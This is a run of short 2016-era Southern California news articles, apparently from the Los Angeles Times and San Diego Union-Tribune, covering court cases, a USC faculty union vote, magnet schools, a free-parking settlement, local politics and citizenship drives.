For hours in a field about a half-mile from the border, Valle collected the bubble-wrapped drugs, which he thought were marijuana packages but turned out to be heroin. He filled a backpack to capacity. Border Patrol agents observed him loading it into Elias trunk on Highway 98.

Valle and Elias each pleaded guilty to possession of drugs with intent to distribute.

The prosecutor said Valles role in pulling off the smuggling should not be minimized, while Valles lawyer said Mexican drug traffickers had taken advantage of a young, malleable, impressionable man who was looking to buy a small quantity of drugs.

The judge noted that Valles criminal record, which includes a battery conviction and reports of making violent threats to his ex-girlfriend, was a factor in the sentencing decision.

Elias is to be sentenced June 3.

kristina.davis@sdunion-tribune.com

Davis writes for the San Diego Union-Tribune.
Magnet schools in the Los Angeles Unified School District accepted fewer than half of students who applied for the 2016-17 school year.

The district received about 44,000 applications to attend magnets, which are themed schools that are open to all students, regardless of where they live. Magnets are among the only schools for which the district provides transportation, because they were created as a way to help desegregate the district.

The numbers come as L.A. Unified tries to keep students in traditional public schools and stem decreasing enrollment. The high interest in magnets shows that those types of schools could be a way to bring students back, school board member Richard Vladovic says. Many students have left the district for independent charter schools, which are publicly funded but can be privately run.

The district might be losing students who get waitlisted to charter schools or other districts, said Vladovic. Im absolutely convinced there is a flight of children," Vladovic said at a budget committee meeting Tuesday.

Currently, about 101,000 students attend independent charters in L.A. Unified, and around 542,400 attend traditional schools and affiliated charters. And there's an effort by advocates and philanthropists to pull half of L.A. Unified students into charters in the next eight years.

Because the demand is so much higher than the number of spots available, students gain admission to magnets through an intricate lottery system. Students can earn points for every year they apply to a magnet school and get rejected, and they get points for already attending a magnet school. For example, when applying for a middle school magnet, you get points for finishing fifth grade at an elementary magnet.

Some of the most in-demand schools get thousands of applications every year.

Not all the parents applying want their children to attend the following yearat least some apply to the most popular schools every year expecting to get wait listed, but that allows them to rack up points that will count in their favor when they apply to the school they want.

Schools receive funding on a per-pupil basis, so losing students to independent charters means losing thousands of dollars per student.

Expanding magnets might be a way to keep those students in L.A. Unified schools, Vladovic says. Students on magnet wait lists are "the most vulnerable to leave the district" because they're looking for options other than their neighborhood schools, he said in an interview after the Tuesday budget meeting.

The district did not immediately provide data on how many students who are rejected from magnets attend an L.A. Unified school the following year and how many leave the district. The Times has submitted a public records request for that information.

Magnet schools that share their campuses with neighborhood schools could use extra classrooms to whittle down their wait lists, Vladovic said.

"This isn't going to grow enrollment," Vladovic said. "It's going to stop the decline."

The district already expands magnets wherever there is room and demand, said Keith Abrahams, the head of student integration services. There are 146 magnets that share campuses, and 52 with their own campuses.

Some of the most popular magnet schools, though, don't have room to expand.

We try to open up as many seats as possible every year," Abrahams said. Our most oversubscribed magnets are full, dedicated magnets."

This fall, 16 new magnet programs will open with about 5,800 seats, and 14 schools will expand by one to three teachers, adding 515 spots.

The Academy for Enriched Sciences recently moved from sharing a campus with another elementary school in Woodland Hills to its own space in Encino, said Amy Petry, the school's magnet coordinator.

For 2016-17, the school, which opened in 2010, will add two kindergarten classes, Petry said.

The reason we did expand is because parents were asking us," Petry said. "They were the ones kind of driving the decision.

Reach Sonali Kohli at Sonali.Kohli@latimes.com or on Twitter @Sonali_Kohli.
USC officials violated federal labor rules by interfering with a high-profile vote to decide whether hundreds of its faculty members should form a union, according to a stinging report from the National Labor Relations Board that calls for a new election.

The report says USC undermined the possibility of a free and fair election by giving raises to some non-tenure-track faculty at the Dornsife College of Letters, Arts and Sciences just before the vote in January. University officials also threatened that faculty members would not be welcome on the Academic Senate or other university committees if they voted to form a union.

The report backs allegations made by union officials and singles out USC Provost Michael Quicks role in tainting the election process.

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There is sufficient evidence to establish that Provost Quick engaged in conduct that was so aggravated as to create a general atmosphere of fear making a free election impossible, NLRB Hearing Officer Yaneth Palencia wrote in the report, which was released this month.

Non-tenure-track faculty at Dornsife, the oldest school at USC, voted 127 to 113 against joining the Service Employees International Union Local 721 in January. These results should be set aside and a new election should be conducted, according to Palencias conclusions.

Palencia reviewed evidence and heard arguments from both sides, including testimony from Quick and USC Vice Provost Martin Levine.

The credited evidence supports a conclusion that the Employer threatened employees with a loss of opportunity to participate in faculty governance, the report said. In addition, the timing and manner in which the [wage increase] was announced and granted is very suspicious.

Quick said the NLRBs findings were simply not true.

The election in Dornsife College that rejected the SEIU was free and fair, he said in a statement. The USC faculty knows I am a strong supporter of faculty governance and never threatened it.

In a letter addressed to faculty, Quick said a re-vote would be burdensome. But should a re-vote occur, I hope all Dornsife teaching faculty will turn out for this important vote.

The effort to unionize has been centered on lecturers, a category of faculty members that have fewer benefits than those who have or are eligible for tenure. Lecturers are generally responsible for leading discussion groups, teaching some classes and grading papers. They are not evaluated on the basis of their research.

Lecturers earn about $30,000 annually if they teach a full-time load of six courses, according to union officials. USC says the pay is much higher.

Kate Levin, a lecturer in Dornsife who supports unionization, said she welcomed the second chance to vote. She and her colleagues have said they were frustrated with large workloads, low pay, shrinking benefits and poor prospects for advancement.

The NLRBs findings underscore what weve been saying for weeks: the University will do anything to silence our voices, she said in a statement distributed by the SEIU. We look forward to engaging in a fair, democratic and legal process for deciding our future.

The SEIU has been working for about a year to organize a total of 430 faculty members at Dornsife and two other USC schools.

In January, eligible faculty members in the Roski School of Art and Design opted to join SEIU by a vote of 31 to 6. Those in the USC International Academy also approved the union, in a 32-to-3 vote.

These results made USC the largest private university in California to have faculty represented by a union.

USC is appealing the Roski vote because university administrators believe that some faculty members are managers who cannot be unionized, Quick said. USC will not contest the vote at the International Academy.

University officials have until Monday to file objections to the hearing officers report, said NLRB spokeswoman Jessica Kahanek. The boards regional director will then decide whether to uphold Palencias recommendations and proceed with scheduling a new faculty unionization vote.

The SEIU has held successful organizing campaigns at Duke University, Georgetown University and Tufts University, among others. Across the country, more than 10,000 faculty have joined SEIU in the past three years, union officials said.

rosanna.xia@latimes.com

Twitter: @RosannaXia

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It may well be the most jealously guarded secret in all of downtown Los Angeles: For the last two months, the citys subterranean Pershing Square parking lot has charged absolutely nothing for parking.

Thats right, in a city where downtown real estate prices are skyrocketing -- and new construction has made public parking spaces increasingly scarce -- motorists beneath Pershing Square have been nabbing daily parking spaces for free.

The parking bonanza is the result of a settlement of a class-action lawsuit against the city of Los Angeles.

In 2014, a woman named Ashley Solomon parked at the Pershing Square garage and noticed that the kiosk printed out a receipt with her full credit card number listed, which her attorneys claimed was a violation of the Fair and Accurate Credit Transactions Act.

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The federal law says no business should print more than five digits or an expiration date of a credit or debit card on a receipt.

Solomon sued and the city settled last year, agreeing to pay her $5,000 and her attorneys $93,000. Under the terms of the settlement, the city had to offer $360,000 worth of free parking vouchers to customers because it couldnt track down all those whose credit card information was printed.

To get free parking, customers just have to sign a ledger and get a voucher that allows them to exit without paying the $16 daily rate.

While the city has done little to advertise the free spaces, those drivers who did find out about them have kept mum.

Underneath downtown Los Angeles Pershing Square, parking is free for a limited time. (Mark Boster / Los Angeles Times)

When Efraim Nissim discovered the free parking, he said he faced a quandary: Tell his friends and co-workers? Or keep the parking Shangri-La all to himself?

I want to be a nice guy, but Ill shoot myself in the foot, Nissim said of his dilemma. In the end he did tell some folks, but not many.

Nissim estimated that he has saved at least $300 over the last two months.

I could buy myself a suit or something. This is actually crazy that there is free parking downtown, he said.

Pershing Square parking manager Jose Flores said he has seen a lot of smiling faces. The garage has filled up quickly every morning since the voucher deal started in February.

The garage has 1,750 stalls and free spots are usually available until around 10 a.m. or when there are 200 left.

The remaining ones are held for monthly customers who do not get complimentary parking unless they cancel their plan, which can be hard to re-start, Flores said. A monthly pass costs $190.

But the free ride for daily visitors is coming to an end as the voucher fund is almost exhausted -- probably in the next few weeks based on demand, Flores said.

Nothing lasts forever, Flores said in his subterranean office.

Nissim was bummed when he heard the news.

You get used to something for free and you hate to pay for it after, but I guess Ill have to, he said.

ben.poston@latimes.com

Twitter: @bposton

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A family dog fatally mauled a 3-day-old boy in front of his parents at their home in the Mira Mesa neighborhood, police said Friday.

The couple was in bed, watching TV, with their newborn when the mother coughed, startling the pit bull mix, according to Sgt. Tu Nguyen of the San Diego Police Departments child abuse unit.

The dog reacted by biting the baby.

The parents pulled the animal off and raced the infant to a hospital, where he was declared dead.

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At this time it appears to be a tragic accident, Nguyen said. Its such a horrific, tragic case. An autopsy will be conducted to confirm the cause of death.

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Child abuse detectives were called to the Esplanade Apartments about 8 p.m. Thursday, and county animal control officers came to remove the dog. The owners were not home at the time, said Dan DeSousa, deputy director of the county Department of Animal Services.

It is a 2-year-old, neutered male American Staffordshire terrier-mix named Polo, DeSousa said. He said the dog would be held in 10-day quarantine to determine whether it has rabies. After that it will be up to the owner to decide whether to reclaim the dog, he said.

A resident who lives in the apartment complex said she didnt know the couple but regularly saw the then-pregnant woman walking the dog.

Its terrible. It breaks my heart, Midalia Hernandez said in Spanish, with tears in her eyes. I would never want to go through something like that.

Hernandez has a 1-year-old son.

According to experts, even the tamest family dog can change behavior when a baby is brought home; parents are warned to never leave young children alone with dogs, especially on the floor.

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Dogs can become agitated by the sounds and movements of a baby. Dogs have been known to try to move a baby by carrying the baby in their mouths the way a mother dog might do with her puppies. Other dogs have hurt babies because the baby moves and sounds like prey, according to the nonprofit Doggone Safe, which aims to prevent dog bites through education and victim support.

Officials said the dog would eventually be put down unless the family fights to keep it alive.

pauline.repard@sduniontribune.com

Repard writes for the San Diego Union-Tribune. Union-Tribune staff writers Kristina Davis and David Hernandez contributed to this report.

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A nonprofit that has launched a campaign to crack down on mega-developments is suing the city of Los Angeles over its approval of two residential towers next to the Hollywood Palladium.

The AIDS Healthcare Foundation wants the courts to invalidate city approval of the Palladium Residences, which would be built next door to its Hollywood headquarters. The towers, near a Metro stop on Sunset Boulevard, are expected to rise as high as 30 stories.

The lawsuit, filed Thursday, argues that Los Angeles violated the city charter, the California Environmental Quality Act and other laws when it gave the green light for the project. The City Council allowed the project to move forward last month by changing existing zoning and height limitations.

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The suit against the Palladium Residences, which opponents argue are too tall and too dense for their location, also names the developer.

City Hall, in cahoots with the Palladium developer, has run roughshod over L.A.s zoning laws in approving this monstrous project, AIDS Healthcare Foundation President Michael Weinstein said.

The suit challenges the broader practice of spot zoning, which Weinstein described as altering city rules for a particular site to allow development that otherwise would be barred.

Rob Wilcox, a spokesman for City Atty. Mike Feuer, declined to comment Friday other than to say that that city lawyers would analyze the complaint.

Backers of the $324-million Palladium project have argued that the towers are similar in size to other buildings along major boulevards in Hollywood. They say they will provide sorely needed housing, including some affordable units, in walking distance from a subway stop.

Steven Afriat, a spokesman for the Palladium Residences, said attorneys for the development company saw the suit as baseless.

Their criticisms are completely unfounded, Afriat said, contending that the project had undergone an extraordinarily thorough environmental process and a thorough public hearing at City Hall.

Afriat also accused Weinstein of improperly spending nonprofit money meant to help people with HIV and AIDS, using such funds as his personal piggy bank to maintain the view from his Hollywood office.

Weinstein shot back that Afriat was trying to divert attention from legitimate concerns and that the fight against the Palladium Residences project  and mega-developments across the city  was in keeping with the nonprofits mission.

I cannot understand why nonprofits shouldnt have as much to say about the future of our community as developers, Weinstein said. For us, gentrification is a social justice issue.

Luxury housing does not benefit the homeless, the poor or middle-income people, he said.

The nonprofit has become a major player in the battle over the size and scale of development in Los Angeles, gathering signatures for a ballot measure that would put a two-year moratorium on many developments that dont fit existing planning and zoning rules.

Such new developments are replacing older apartments that fall under rent control, forcing out tenants, the AIDS nonprofit and other supporters argue. Opponents counter that the proposed ballot measure would end up hurting renters by clamping down on new construction, worsening the housing crisis.

The AIDS Healthcare Foundation and its allies in the Coalition to Preserve L.A. aim to put their proposal on the March 2017 ballot.

Follow @latimesemily for whats happening at Los Angeles City Hall
A former Carson City Council field representative is suing the city and Mayor Albert Robles, alleging that she was wrongfully fired after complaining that Robles sexually harassed her.

In a lawsuit filed Wednesday, Monette Gavino alleges that she was abruptly terminated in July 2015 based on what the city claimed was a budget deficit.

But her dismissal came just three weeks after she complained to her supervisor about Robles sexually aggressive behavior, according to the suit.

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Gavinos suit against the South Bay city alleges wrongfully termination, sexual and gender harassment, a hostile work environment, retaliation and both intentional and negligent infliction of emotional distress.

Robles, who has served on the City Council since 2013 and became mayor last year, did not return calls or an email seeking comment.

He rose to national prominence as the leader of the citys failed effort to lure the Oakland Raiders and San Diego Chargers to a new proposed stadium on the site of an old landfill.

He is the target of an effort by the district attorney to remove him from a seat on a regional water board.

Meanwhile, a Times investigation last September raised questions about whether Robles resides in Carson.

Sunny Soltani, Carsons city attorney, said the city is reviewing the suit and will respond appropriately.

Gavino alleges she was working on Robles council campaign in February 2013 and riding with him in a car when he asked her if she would be his secret girlfriend.

She said she declined and, according to the suit, Robles then suddenly grabbed the back of Ms. Gavinos head and kissed her on her lips while putting his hand inside her dress.

Robles then grasped Gavino by her buttocks and moved his hand toward her genitals. She pushed him away and got out of his car, the suit alleges.

As she left, Robles said, Hey, Monette, Id love to see you in your thong, according to the suit.

In September 2014, Robles called Gavino into his office and told her she had beautiful legs, the suit alleges.

As he stood close to her, according to the suit, he leaned over, put a hand on one of her knees and said, I really love to touch your legs. Gavino pushed his hand away and left, the suit states.

After months of alleged sexual advances, according to the suit, Gavino complained to her supervisor last June. No action was taken against Robles, but Gavino was let go July 9 and was told it was because of a lack of city funding, the suit alleges.

Gavinos attorney did not return calls for comment.

Adding to the turmoil in the city, the state attorney general has given permission for the district attorney to sue Robles for holding two incompatible elected offices.

The district attorney is seeking to remove Robles from his seat on the Water Replenishment District of Southern California, arguing that it conflicts with his duties as mayor. Robles last year was sued by a former fellow water board member, Lynn Dymally, for sexual harassment.

Last September, a Times investigation raised questions about Robles official residence. Robles insisted that he lives in his parents home in Carson but spends most of his free waking hours with his wife and two children at an apartment in the Adams-Normandie neighborhood of Los Angeles.

If it is determined that Robles lives within L.A. city boundaries, he would be ineligible to be Carsons mayor or sit on the water board.

Robles has denied any wrongdoing.

For SoCal crime & investigations follow me on Twitter @lacrimes
Federal authorities have captured a former Glendale police officer and convicted sex offender who fled to Mexico after facing new charges of child molestation.

Arthur George Crabtree, 55, became a fugitive in April 2012 after authorities issued an arrest warrant alleging that he had contacted minors on the Web while on parole from a 2006 conviction.

The FBI said Crabtree was captured in Puerto Vallarta on Thursday. He was scheduled to return to Los Angeles late Thursday, accompanied by federal agents.

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In February 2011, agents conducting a routine parole search of Crabtrees Glendale residence found laptops with materials indicating that Crabtree was allegedly in contact with children under the age of 18, officials said.

An investigation led to an arrest warrant on one count of child molestation.

Three months later, Crabtree was charged by federal authorities with unlawfully fleeing justice after police were unable to find him.

In the earlier case, Crabtree, who was also a family law attorney, was arrested in January 2005 after he arranged a meeting with an undercover agent posing as a 13-year-old girl at the Greyhound bus station in downtown Los Angeles.

Testimony and evidence presented during the trial found that Crabtree had solicited an underage Santa Clarita girl and as well as undercover agents who posed as five different teenage girls.

He was convicted in July 2006 of one felony count of attempted lewd acts on a child, three felony counts of attempting to send harmful material over the Internet, four misdemeanor counts of attempted child molestation and one misdemeanor count of child molestation.

He was sentenced to five years and eight months in prison, according to the department of corrections.

Crabtree was released on probation in August 2009 as a registered sex offender.

Crabtree left the Glendale Police Department in February 2000 after more than 15 years on the force, officials said

For SoCal crime & investigations follow me on Twitter @lacrimes

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Four years ago, the glitterati descended on the grand opening of Perry Rubensteins new art gallery in Hollywood.

Musician Neil Young, movie producer Steven Tisch and artist Shepard Fairey were among the guests who packed into the modernist space marked by its bold charcoal exterior and expansive white interior. The event spoke to Rubensteins status as a formidable dealer in the celebrity art world.

But since then, a series of legal disputes has led to a dramatic fall for the veteran art gallerist.

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Now, Los Angeles County prosecutors have charged Rubenstein with failing to pay more than $1 million for artwork linked to two of Los Angeles most powerful art collectors, Eli Broad and Michael Ovitz.

Rubenstein, 62, was arrested late Thursday in Santa Monica on three felony counts of grand theft by embezzlement. In a downtown L.A. courtroom on Friday, Rubenstein pleaded not guilty and was held on $1-million bail.

His attorney, Stephen Sitkoff, blasted the criminal charges.

We deny all these allegations and look forward to clearing his name and getting his reputation back, Sitkoff said. Theres no criminal conduct on Perrys part.

Rubenstein made his name as an art dealer in Manhattan, where he was a well-known private dealer before opening a gallery in Chelsea. In 2011, he announced his move to Southern California, saying Los Angeles had ascended to the level of other contemporary art meccas such as London and New York.

His gallery opened with a splash, generating buzz both in the art world and in Hollywood. He converted an old warehouse on a hip stretch of Highland Avenue into an airy art space complete with skylights and a distinctive PR logo at the entrance. He told the art press he was bringing a New York sensibility to the L.A. art scene.

But around the time of the move, Rubenstein was engaged in art sales that would land him in legal trouble.

One of the charges centers on his sale of a scroll, The World of Sphere by Japanese artist Takashi Murakami, to the Eli and Edythe Broad Foundation. The more-than-130-square-foot scroll features a psychedelic scene of flowers and the panda character that recurs in the work of Murakami, the famed pop artist who typically draws on anime and manga characters and motifs.

The scroll is now part of The Broad museum collection but is not publicly displayed.

Michael Salke, an art collector based in Massachusetts, told police he contracted with Rubenstein in 2011 to sell the scroll for $750,000, according to search warrant affidavits filed by LAPD Det. Gary Guevara.

The next year, Rubenstein told Salke that an unidentified buyer offered $630,000 for the scroll, according to the affidavits. Salke signed off on the sale.

Payment for the scroll came in installments, eventually totaling $575,000, but when Rubenstein tried to add $20,000 to his commission, Salke filed a lawsuit, Guevara wrote.

During litigation, Salke learned that the buyer of the Murakami scroll, the Broad Foundation, paid $825,000 for it  far more than Rubenstein had let on, according to the affidavits.

The L.A. County district attorneys office said Friday that Rubenstein failed to turn over the full amount of the sale to Salke.

The two other counts against Rubenstein arise from his agreements with Ovitz to sell two works by Richard Prince that together are worth more than $1 million, prosecutors said. Prince is a renowned pop photographer and painter.

Ovitz, who co-founded Creative Artists Agency before he served as president of the Walt Disney Co., told LAPD detectives that he and his personal curator struck an agreement in 2012 with Rubenstein to sell Princes painting Untitled (de Kooning) (2006), for $650,000, Guevara wrote. The work is one of several works by Prince that mixed the Abstract Expressionist art of Willem de Kooning with photos, including vintage pornography, and painting.

Ovitz agreed to sell to a buyer in Mexico City for $500,000, but more than five months after it was sold in May 2013, Ovitz had yet to receive any money, Guevara said in the court papers. Ovitzs curator instructed Rubenstein to cancel the sale and return the work; Rubenstein said he couldnt reverse it. The piece has since sold a second time in France, the detective wrote.

Shortly after Ovitz greenlighted the sale to the Mexico City buyer, he placed another work by Prince, Nobody Home (1992), on consignment with Rubenstein. The minimum price was set at $575,000, according to court papers. Rubenstein received a bid for the work, but Ovitz rejected it.

Months later, Ovitzs curator learned the piece was sold in New York for $475,000  without Ovitzs authorization  prompting the curator to instruct Rubenstein to unwind the sale, according to the affidavits. Rubenstein said he could not.

Rubenstein kept the proceeds from the sales instead of turning the money over to Ovitz, the district attorneys office said.

Rubensteins financial situation appears to have deteriorated in the years after his swanky L.A. debut, court documents show.

His gallery filed for bankruptcy in 2014, and records list a roster of creditors that includes Ovitz, Fairey and actor Simon Baker, the star of CBS The Mentalist.

The bankruptcy filing said the gallery had nearly $1.2 million, mostly in artwork, but owed more than $5.4 million.

Ovitz sued Rubenstein. In a settlement detailed in court records filed last month, Rubenstein agreed to return Untitled (de Kooning). Sitkoff, Rubensteins attorney, said that his settlement should have ended the dispute and that the criminal charges are unnecessary.

Rubensteins financial problem were compounded last year when a judge ordered him to pay $250,000 to Salke, the Massachusetts art collector.

Rubenstein outlined his finances, which included a $487 monthly fee for his 2014 Mercedes-Benz C250 sedan and a $100 monthly budget for laundry and dry cleaning. He wrote in court papers that he needed a two-bedroom apartment so that he can house his daughters during custody visits. He said he wanted to live near Santa Monica, close to his ex-wife, the prominent art publicist Sara Fitzmaurice.

Rubenstein stated he was under extreme financial hardship owing to the collapse of my business and lawsuits filed against me personally for obligations that the business did not or could not pay.

I have been rendered penniless, he wrote. I take full responsibility for this taking place and do not blame anyone else.

For more breaking news from California, follow @MattHjourno.

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Dozens of fans gathered in South Los Angeles on Thursday to pay homage to pop icon Prince with a musical celebration that united generations of listeners.

Prince Roger Nelson was found dead at his Paisley Park compound outside of Minneapolis earlier in the day. He was 57.

In L.A., he was honored with a dance party fitting for a prince. Toddlers and seniors grooved to the tune of The Purple One and swapped stories about how his music had affected their lives.

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Like so many fans, Erick Johnson, 43, praised Prince for pushing the boundaries musically and stylistically.

He was unapologetic, Johnson said. He was not afraid to mix the masculine and the feminine. For a black man to do that and still have all the women, all the beautiful women, that says that you are really, truly yourself.

Deborah Murray, 57, adorned in a purple Prince shirt, agreed.

He didnt try to be like anybody else, she said. He hit them high notes while wearing high heels. He was a little man with big talent.

People get emotional while talking about Prince at a memorial for the artist in Leimert Park. (Barbara Davidson / Los Angeles Times)

The festive tone turned somber when the slow, melodic cords of Princes hit Purple Rain blared from the speakers.

Dancing ceased. Fans thrusted candles and cellphones into the darkening sky and swayed their arms to the beat. Tears rolled down the cheeks of some peoples faces.

Depress Badys voice choked with emotion as he recalled the lyrics to the first song on Princes debut album titled For You. The 1-minute, 8-second song with one verse was an ode to his fans.

Through his music, he touched my life, said the 44-year-old Leimert Park resident. He didnt conform and always challenged himself. I try to do that in my daily life.

Though hes never met Prince, Bady considered him his musical father. He was introduced to Princes music when he was 10, and over the decades formed a deep bond.

Bady said he used to read the liner notes of Princes album, which listed the song lyrics and contributors. At times, he felt Prince was speaking directly to him.

He always thanked God and you, Bady remembered. And not y-o-u. Just the big letter U like he was talking to you.

Bady stopped calling himself a fan years ago after Prince told Oprah in an interview that he didnt want fans because that was short for fanatics, Bady recalled.

Im a Prince admirer, he said.

Growing up in Japan, Hiromi Tatsuta said, she listened to Princes funky tunes on a static-filled TV channel. When she got cable, she was able to connect the falsetto with the big-haired, high-heeled and makeup-wearing artist. His death hit home.

You dont expect your parents to die, she said. Thats how it feels.

Twitter: @AngelJennings

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Los Angeles lawmakers voted Friday to draft a new law that would enshrine a wildlife corridor in the eastern Santa Monica Mountains, aiming to ensure that coyotes, bobcats and other wild animals are not cut off from stretches of their habitat by new homes or other development.

We want to be certain that P-22 -- the famed Griffith Park mountain lion -- can get around, meet P-23 and have P-24, said City Councilman Paul Koretz, who championed the plan.

City staffers are now tasked with writing the new rules, which would bar Los Angeles from issuing building or grading permits in the area until the city is assured that construction plans will permanently ensure that wildlife can cross from one part of their habitat to another.

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FOR THE RECORD:

Wildlife corridor: In the April 23 California section, an article about a proposed wildlife corridor in the Santa Monica Mountains was accompanied by a photo caption that misidentified Seth Riley of the National Parks Service as Sean Riley. The caption also described the location near Malibu Creek State Park as an area preferred in 2014 for a wildlife corridor. That location is being considered for a wildlife crossing over the 101 Freeway; it is separate from the proposed Santa Monica Mountains corridor.

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The rules would also mandate deed restrictions to permanently protect those connections within wildlife habitat. And every new building project in the zone would have to undergo a habitat connectivity review. The proposed ordinance still must come back to the City Council for approval before it can become law.

Environmental and wildlife protection groups such as Citizens for Los Angeles Wildlife have pushed Los Angeles to adopt the plan, saying it will help maintain genetic variation in urban species that might otherwise become isolated, and will reduce conflict with humans by preventing animals from being confined in residential neighborhoods.

Joe Edmiston, executive director of the Santa Monica Mountains Conservancy, said some Angelenos might ask: Will this stop development? Will this impose undue burdens on developers?

But Edmiston said those problems havent occurred in other places around the country where wildlife corridors have been created. Instead, developers have to move over a little bit so that the animals in fact can have their pathways, Edmiston said.

Interested in the stories shaping California? Sign up for the free Essential California newsletter >>

For instance, Koretz said the proposed rules might require someone to leave a small stretch on the edge of their property open rather than fencing off the entire property, to allow animals to pass.

These are relatively modest changes to the planning code that will make a massive difference to the health of our bobcats and mountain lions and raccoons and other animals, Koretz said.

Neighborhood groups that represent areas such as the Hollywood Hills, Mar Vista and Studio City, have also thrown their support to the idea.

The new zone is slated to cover Los Angeles hillsides between Griffith Park and the 405 Freeway. City officials are also exploring the feasibility of imposing similar requirements in a broader area that includes the mountains encircling the San Fernando Valley.

Follow @latimesemily on Twitter for whats happening at Los Angeles City Hall.

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Los Angeles has agreed to return tiny houses that police and sanitation workers impounded from homeless people, but the mayors office has not endorsed a suggestion to place a village of tiny houses on city land, a spokeswoman said.

Elvis Summers, who reportedly built and distributed 37 brightly colored structures to homeless people over the last year, said he had understood that Mayor Eric Garcetti was considering offering a surplus city lot as a site for the houses.

Connie Llanos, the mayors spokeswoman, said that although the mayor appreciated citizen efforts to come up with creative solutions to the citys homelessness problem, he does not support the village concept.

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Not at this time, Llanos said. Were developing a process on how we could work with nonprofits and wed share those with Summers.

Popularized as part of a lifestyle-downsizing movement, the bare-bones structures appeal to supporters as a simple and safe alternative to people sleeping on the sidewalk. Los Angeles has the largest unsheltered homeless population in the country, and tattered shantytowns have spread citywide, far from their roots in the downtown area.

Summers collected more than $100,000 through online video appeals and crowdfunding sites for his tiny house campaign.

 Escalating their battle to stamp out an unprecedented spread of street encampments, Los Angeles city officials have begun seizing tiny houses from homeless people living on freeway overpasses in South Los Angeles.

Officials, however, consider the houses a health and safety hazard, and in February seized three from freeway overpasses in South Los Angeles. A fourth structure was confiscated more recently, Summers said Thursday.

A City Hall protest last month of the tiny house seizures drew dozens of selfie-stick-wielding bloggers and supporters.

Summers said he expects to get the houses back in the next two weeks and store them on a church lot in Compton, while he continues to look for land, preferably with shower and bathroom access, electricity and other necessities.

Summers said he does not see a tiny house village as an end in itself but as a way to anchor homeless people so they can receive mental health and substance abuse treatment, counseling and medical care on the way to permanent housing.

Im absolutely not trying to enable people, he said. Its just a bridge between the gutter and permanent housing, and it all starts with a good nights rest.

Elvis Summers tiny homes for homeless people are stored in a an L.A. Sanitation Department lot. City sanitation workers seized tiny houses and RVs where people were living in the streets. (Katie Falkenberg / Los Angeles Times)

The homeless people who lost their tiny houses are living in the streets in tents, even though the city rushed to get some of them rent vouchers, he said.

No one is accepting them, he said of the vouchers. Everyone is still on the streets.

One of the men suffered a broken back when he was struck by a car while crossing the street on foot, and is recuperating in a tent, Summers said. He just graduated to a cane, Summers said.

Follow Gale Holland on homelessness news @geholland

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At a recent fair at the Long Beach Convention Center, more than 3,000 immigrants got free help filling out citizenship applications and practiced casting ballots at mock voting booths.

Events like this almost certainly were not what Republicans intended when they blocked President Obamas program to shield millions of immigrants from deportation. But the new nationwide push to help more than 8 million legal permanent residents become citizens  and therefore potential voters  is a direct consequence of Republican resistance to Obama administration immigration policies.

In 2014, Obama announced executive actions to protect millions of parents of U.S. citizens from deportation. In anticipation, immigrant rights groups, backed by major philanthropies, set aside millions of dollars for efforts to help people apply.

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But the program never came to pass. Twenty-six Republican states sued to stop it, alleging that Obamas plans exceeded his legal authority.

With the fate of the program in the hands of the Supreme Court, advocacy groups found themselves with money and volunteers but nothing to do. Looking for other places to put their resources, they decided to work on gaining citizenship for immigrants who were residing in the U.S. legally but had not yet been naturalized.

In California alone, there are an estimated 2.2 million legal permanent residents who are eligible for citizenship but have not applied.

What we can do right now is help people become citizens so that we can build political power while were waiting, said Ramiro Funez, a spokesman for Unite Here, a union that represents hospitality workers, many of whom are immigrants. Its kind of one of the only options we have right now.

His union has been holding citizenship workshops around the country, including a recent one in Orange County. In Nevada, a key battleground in presidential elections, Funez said the union was close to its goal of helping 2,000 people apply for citizenship in a two-month period that began March 1.

Organizers say another factor has driven the push for citizenship this election year. His name is Donald Trump.

The Republican presidential candidates harsh words about Mexican immigrants, whom he has called drug dealers and rapists, helped attract Virgilio Herrera to the citizenship workshop in Long Beach.

Herrera, 49, who works in the oil fields of Bakersfield, came to the U.S. illegally from Mexico 35 years ago.

He and his wife won green cards  legal residency  under President Reagans 1986 amnesty plan. But even though they have several U.S.-born children, the couple never became citizens, put off in large part by the nearly $700 application fee.

Things are different now, Herrera said. We need to be the voice for those who dont have it, he said. Donald Trump sounds like Hitler.

The Protect Yourself Now! workshop was a collaboration between local Spanish-language channels and several nonprofit and philanthropic groups, including the California Community Foundation.

The group originally had planned to spend $1.4 million to help people apply for protection from deportation under Obamas Deferred Action for Parents of Americans and Lawful Permanent Residents program. But after DAPA was put on hold, the organization joined with a Mexican American philanthropic group called Juntos Podemos to spend $3.2 million on getting people to become citizens.

These are the activation moments, said Efrain Escobedo, vice president of civic engagement and public policy at the California Community Foundation.

What we can do right now is help people become citizens so that we can build political power while were waiting.  Ramiro Funez, spokesman for Unite Here

Were always losing, Escobedo said, citing the lawsuit to stop DAPA and years of GOP resistance to immigration overhaul legislation that would provide a pathway to citizenship for the estimated 11 million immigrants in the country illegally. So lets change the numbers.

There was an uptick of naturalization applications filed between June, when Trump announced his candidacy, and January, compared with the same period in recent years, according to U.S. Citizenship and Immigration Services data. The agency has not released statistics showing how many people have applied for naturalization in the last couple of months, when the concerted push began.

Data from previous years show that applications tend to surge when efforts aimed at curtailing illegal immigration gain prominence.

After California voters passed Proposition 187, a 1994 ballot measure that sought to deny social services to immigrants in the country illegally, the number of people applying annually for citizenship jumped from about 500,000 to nearly a million, according to federal statistics.

There was a similarly dramatic jump after the House passed a controversial measure in 2005 that called for the construction of vast border fences and would have forced employers to verify the immigration status of their workers. The proposal failed in the Senate.

When there have been periods of anti-immigrant rhetoric, there becomes an urgency for immigrants to become citizens, said Arturo Vargas, executive director of the education fund at the National Assn. of Latino Elected and Appointed Officials.

The passage of Proposition 187, though it ultimately was declared unconstitutional, is widely credited for helping turn California blue. Republicans faced backlash at the ballot box after organizers registered millions of new Latino voters in the years after the initiative passed, and the state has since transformed into one dominated by Democratic politics.

Democrats and Latino organizers are hoping for a similar phenomenon nationwide this year and are trying to use Trumps comments to propel Latinos to the polls in record numbers in November.

Naturalized U.S. citizens represent only a small percentage of new Latino voters, who are making Latinos the fastest-growing electorate in the nation. The vast majority of the growth is due to young Latinos turning 18, at a rate of about 800,000 each year.

Still, naturalized citizens tend to vote at higher rates than other Latinos, including millennials.

Speaking at the Long Beach citizenship fair, Los Angeles Mayor Eric Garcetti cast naturalization in strictly electoral terms.

The hate, the Trumpism, those arent the values of me and my country, said Garcetti, whose office launched its own citizenship effort last year. We can make sure we have a president who continues to reflect our values, he said. We can make sure we have a country that is open to the rest of the world.

